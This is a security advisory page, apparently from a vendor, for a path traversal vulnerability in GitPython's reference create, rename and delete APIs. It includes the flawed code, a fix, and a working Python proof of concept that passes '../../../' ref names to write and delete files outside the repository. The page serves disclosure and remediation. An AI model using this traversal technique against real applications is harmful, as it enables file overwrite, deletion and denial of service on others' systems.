CVE-2026-44243 — gitpython
CVE-2026-44243 is a Path Traversal vulnerability in gitpython. A fix is available for gitpython — see the affected versions and patch details below.
GitPython: Path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44243.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
gitpythonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
🧾 Summary
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.
📦 Affected Versions
- Affected:
<= 3.1.46and currentmain(3.1.47in local checkout)
🧠 Details
Vulnerability Type
Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion
Root Cause
Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.
SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.
Affected Code
def set_reference(self, ref, logmsg=None):
...
fpath = self.abspath
assure_directory_exists(fpath, is_file=True)
lfd = LockedFD(fpath)
fd = lfd.open(write=True, stream=True)
...
@classmethod
def delete(cls, repo, path):
full_ref_path = cls.to_full_path(path)
abs_path = os.path.join(repo.common_dir, full_ref_path)
if os.path.exists(abs_path):
os.remove(abs_path)
def rename(self, new_path, force=False):
new_path = self.to_full_path(new_path)
new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
...
os.rename(cur_abs_path, new_abs_path)
Attack Vector
Local attack through application-controlled input passed into GitPython reference APIs
Authentication Required
None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.
🧪 Proof of Concept
Setup
pip install GitPython==3.1.46
python poc.py
Exploit
import shutil
from pathlib import Path
from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference
base = Path("gp-ghsa-poc").resolve()
if base.exists():
shutil.rmtree(base)
repo_dir = base / "repo"
repo = Repo.init(repo_dir)
(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")
outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")
print(f"repo_dir = {repo_dir}")
print(f"outside_write = {outside_write}")
print(f"outside_delete = {outside_delete}")
Reference.create(repo, "../../../outside_write.txt", "HEAD")
print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
print("[+] outside_write content:")
print(outside_write.read_text(encoding="utf-8"))
SymbolicReference.delete(repo, "../../../outside_delete.txt")
print("\n[+] outside_delete exists after delete:", outside_delete.exists())
Result
repo_dir = ...\gp-ghsa-poc\repo
outside_write = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt
[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>
[+] outside_delete exists after delete: False
💥 Impact
What can an attacker do?
- Create or overwrite files outside the repository metadata directory
- Delete attacker-chosen files reachable from the process permissions
- Corrupt application state or configuration files
- Cause denial of service by deleting or overwriting important files
Security Impact
- Confidentiality: Low
- Integrity: High
- Availability: High
Who is affected?
- Applications that expose GitPython reference operations to user-controlled input
- Git automation services, repository management backends, CI/CD helpers, and developer platforms
- Multi-user environments where one user can influence ref names processed on behalf of another workflow
🛠️ Mitigation / Fix
Recommended Fix
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
SymbolicReference._check_ref_name_valid(path)
base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
target = (base / path).resolve()
if base not in [target, *target.parents]:
raise ValueError(f"Reference path escapes repository boundary: {path}")
return str(target)
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gitpython | all versions | 3.1.48pip install --upgrade 'gitpython==3.1.48' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gitpython to 3.1.48 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44243 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44243 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-44243. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Frequently Asked Questions
Is CVE-2026-44243 in your dependencies?
O3 Security finds CVE-2026-44243 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.